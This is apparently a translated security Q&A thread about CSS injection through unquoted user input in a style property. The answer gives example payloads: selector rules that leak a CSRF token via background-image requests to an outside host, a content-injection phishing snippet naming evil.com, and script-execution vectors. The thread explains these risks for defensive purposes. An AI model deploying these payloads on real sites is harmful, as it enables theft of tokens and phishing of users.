Attributo di stile XSS senza virgolette

6

Se esiste una pagina che consente l'input dell'utente nel seguente ...

.page
{
    background: #userinput;
}

può essere sfruttato se <>'" sono tutti filtrati? Ho visto width: expression(alert(0)); , ma non ho potuto ottenere quello per eseguire javascript in IE o Firefox (con filtri disabilitati).

    
posta Michael Blake 17.01.2016 - 03:42
fonte

1 risposta

8

Non è sicuramente una buona idea mettere direttamente l'input dell'utente grezzo negli stili.

L'iniezione CSS è pessima come XSS? No, ma ci sono ancora problemi con esso.

Alcuni di questi esempi qui sotto non si applicano a te in quanto sono richieste le virgolette, ma li includerò comunque per i lettori interessati all'iniezione di CSS in generale e per mostrare che i CSS sono più potenti di quanto generalmente previsto, quindi è un buona idea per filtrare / disinfettare / codificare correttamente l'input dell'utente prima di posizionarlo in un contesto CSS.

Modifica dell'aspetto di un sito web

Questo è piuttosto ovvio, ma è qualcosa da tenere a mente. Vuoi davvero dare a un utente malintenzionato l'opzione per controllare l'aspetto del tuo sito web? Ciò dipende ovviamente dal tipo di sito Web in tuo possesso, ma per alcuni siti Web, ad es. Siti Web o siti Web per bambini, anche un attacco CSS riflesso tramite il quale un utente malintenzionato include immagini nel sito di destinazione può danneggiare la reputazione del sito .

Lettura di dati da un sito web

Un utente malintenzionato potrebbe essere in grado di leggere password e token CSRF e inviarli a un server controllato da un utente malintenzionato. Ecco un semplice esempio:

<style>
input[value^="a"] + input { background-image: url(http://www.example.com/a); }
input[value^="s"] + input { background-image: url(http://www.example.com/s); }
input[value^="z"] + input { background-image: url(http://www.example.com/z); }
</style>

<input value="secret" type="hidden" name="csrftoken" />
<input type="Submit" />

Questo può anche essere fatto in modo più efficiente (vedi qui o qui ). Probabilmente ci sono anche altri approcci, e non sarei troppo sorpreso se alcuni di essi funzionassero senza virgolette.

Modifica del contenuto di un sito web

Un utente malintenzionato può anche modificare il contenuto esistente del sito Web, sia per motivi di defacement, sia come (un po 'improbabile, ma ancora possibile) attacco di phishing:

<style>
p::before {
    content: "Important security update: http://evil.com/update";
} 
</style>

<p>
Somewhere a user does not expect user input
</p>

Esecuzione di script

Esistono diversi modi per eseguire JavaScript tramite CSS ( expression , url("javascript: , diverse funzionalità e bug in vari browser (ad esempio -moz-binding , htc ), ecc.). Non credo che nessuna delle versioni correnti dei browser popolari lo consenta, ma non puoi davvero fare affidamento sui tuoi utenti che li utilizzano.

    
risposta data 17.01.2016 - 20:38
fonte

Leggi altre domande sui tag